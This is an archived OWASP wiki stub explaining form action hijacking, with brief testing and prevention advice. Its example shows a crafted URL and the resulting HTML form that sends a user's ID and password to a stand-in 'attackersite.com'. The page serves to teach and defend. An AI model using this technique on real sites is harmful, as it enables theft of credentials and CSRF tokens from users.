This site is the archived OWASP Foundation Wiki and is no longer accepting Account Requests.
To view the new OWASP Foundation website, please visit https://owasp.org

Form action hijacking

From OWASP
Revision as of 17:28, 12 September 2017 by Robert Gilbert (talk | contribs) (Created page with "{{stub}} {{Template:Attack}} Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' ==Overview== Form action hijacking allows an attacker to spec...")

(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
Jump to: navigation, search
This article is a stub. You can help OWASP by expanding it or discussing it on its Talk page.


This is an Attack. To view all attacks, please see the Attack Category page.


Last revision (mm/dd/yy): 09/12/2017

Overview

Form action hijacking allows an attacker to specify the action URL of a form via a paramter. An attacker can construct a URL that will modify the action URL of a form to point to the attacker's server. Form content including CSRF tokens, user entered parameter values, and any other of the forms content will be delivered to the attacker via the hijacked action URL.


How to Test for Form Action Hijacking Vulnerabilities

Check parameter values passed to the form action. See example below.

How to Prevent Form Action Hijacking Vulnerabilities

Hard-code the form action URL or use a whitelist of allowed URLs.

Examples

The following URL will generate the a form and set the "url" parameter as the from action URL. When the form is submitted, the ID and password will be sent to the attacker's site.

URL:

https://vulnerablehost.com/?url=https://attackersite.com

Source:

<form name="form1" id="form1" method="post" action="https://attackersite.com">
    <input type="text" name="id" value="user name">
    <input type="password" name="pass" value="password">
    <input type="submit" name="submit" value="Submit">
</form>

References